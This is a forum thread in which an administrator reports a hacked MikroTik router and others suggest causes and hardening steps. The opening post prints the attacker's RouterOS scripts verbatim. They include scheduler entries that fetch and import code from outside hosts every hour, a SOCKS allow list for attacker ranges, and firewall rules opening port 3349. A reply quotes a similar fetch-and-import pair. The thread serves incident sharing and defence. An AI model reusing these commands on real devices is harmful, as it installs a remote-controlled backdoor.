Mikrotik OS 6.45.6 Hacked

Just to share that yesterday we discovered one of the public facing mikrotik being hacked. we do not think password leaked and it should be via some vulnerability hack. Below is the details :

Model : Routerboard 3011UiAS (CloudCore)
OS version : 6.45.6
IP Services : Only Winbox is allowed from internal network range
What the hack did :

  1. drop 2 script at File system
    name : 7wmp0b4s.rsc
    =================
    :do { /system scheduler set U3 name=“U7” on-event=“/tool fetch url=http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U3 not found”}
    :do { /system scheduler set U4 name=“U7” on-event=“/tool fetch url=http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U4 not found”}
    :do { /system scheduler set U5 name=“U7” on-event=“/tool fetch url=http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U5 not found”}
    :do { /system scheduler set U6 name=“U7” on-event=“/tool fetch url=http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U6 not found”}
    :do { /system scheduler set U7 name=“U7” on-event=“/tool fetch url=http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U7 not found”}

name : 7xe7zt46hb08

/ip socks access add src-address=5.188.42.0/24 action=allow
/ip socks access add src-address=85.119.151.0/24 action=allow
/ip socks access add src-address=77.238.240.0/24 action=allow
/ip socks access add src-address=178.239.168.0/24 action=allow
/ip socks access add src-address=77.238.228.0/24 action=allow
/ip socks access add src-address=94.243.168.0/24 action=allow
/ip socks access add src-address=213.33.214.0/24 action=allow
/ip socks access add src-address=5.188.187.0/24 action=allow
/ip socks access add src-address=31.172.128.45/32 action=allow
/ip socks access add src-address=31.172.128.25/32 action=allow
/ip socks access add src-address=10.0.0.0/8 action=allow
/ip socks access add src-address=185.137.233.251/32 action=allow
/ip socks access add src-address=5.9.163.16/29 action=allow
/ip socks access add src-address=95.213.221.0/24 action=allow
/ip socks access add src-address=159.255.24.0/24 action=allow
/ip socks access add src-address=31.184.210.0/24 action=allow
/ip socks access add src-address=192.243.53.0/24 action=allow
/ip socks access add src-address=146.0.78.6/32 action=allow
/ip socks access add src-address=193.188.22.205/32 action=allow
/ip socks access add src-address=0.0.0.0/0 action=deny

  1. Turn the scheduler to run the task every hour

  2. Add the following to the firewall rules :
    add action=accept chain=input dst-port=3349 protocol=tcp
    add action=accept chain=input dst-port=3349 protocol=tcp
    add action=accept chain=input dst-port=3349 protocol=tcp
    add action=accept chain=input dst-port=3349 protocol=tcp

Thank you.

Regards,
Josh

When was the last time you did change the password? Is it possibe that it has not been changed since your router was running RouterOS v6.42 or an older version?

Like Strods wrote! This is an old script that is from old version of ROS. Also Do you use a master password for Winbox? If not then you should know that if you export addresses.wbx this is an unencrypted file that can be opened with notepad and to read all IP/username/passwords saved there!

hey i also get similiar here my ros is 6.45.9 (long-term)

Screenshot_6.jpg


/tool fetch url=http://spacewb.tech/poll/c59e2b64-8b65-46ed-bcbf-b8ba4c68bd49 mode=http dst-path=7wmp0b4s.rsc
/import 7wmp0b4s.rsc

right now my router reflashed netinstall

What do you mean “the same experience”?? That is not the same, it is something completely different!
It is the result of a bug in RouterOS which is triggered by rename of the wireless interface.

I guess you all had router opened for remote access using winbox, ssh, telnet or web access.
Winbox was hacked some time back and are fixed in later version. (lots of scan was done to the winbox port 8291, so 2. in list below would have helped)

VPN is the best option for remote access to the router.

If VPN can not be used, then follow this:

  1. Use another port than default.
  2. Use port knocking. This prevents someone from seeing open ports.
  3. Use a long and good password.
  4. Use access list to prevent any random internet from accessing your router.
  5. Log everything. (See my signature for example.)
  6. Upgrade firmware to latest stable release
  7. ++++

sorry my bad word. le me correct. “similiar case” i juts want to share what happen on my router last day. and found this thread by searching “7wmp0b4s.rsc”
before attack happen i already set only enable winbox service with random port & local ip, filter rule drop port scanner.

Now you have edited the post and added that part (where from?) with tool fetch.
I think originally there was only the screenshot with the environment variables and THAT is not a sign the router was hacked, it is the result of a RouterOS bug.
When you have some things a developer did not expect you to do (e.g. renamed wlan1 to something else, or removed wireless package) a conversion script run after upgrade failed halfway, and left all that crap in the environment.

I would like to apologize my mistake. i just want to share that’s all
okay so environment from wlan interface.

i dont know how they get in to router but leaving config like this

i give screenshot from log

Screenshot_5.jpg
Screenshot_7.jpg
Screenshot_8.jpg

sorry for troubling you.

Ok that is the full info you should have given in your first post.
I presume it is still present in your router?
You need to netinstall it with format, and NOT restore a backup.
So best is to do a clean configuration.
At most you can do a /export before you wipe it and keep it as a guide to remember what you need to configure.

To the OP, you need to download a recent stable version of the software (long term versions are usually good), and then use the netinstall process to get the router back to a clean mode.
Do not open the router to the internet on the input chain and do not use any old passwords for the admin.
Also limit admin access to the router itself (input chain) to specific LANIPs (namely devices of the admin).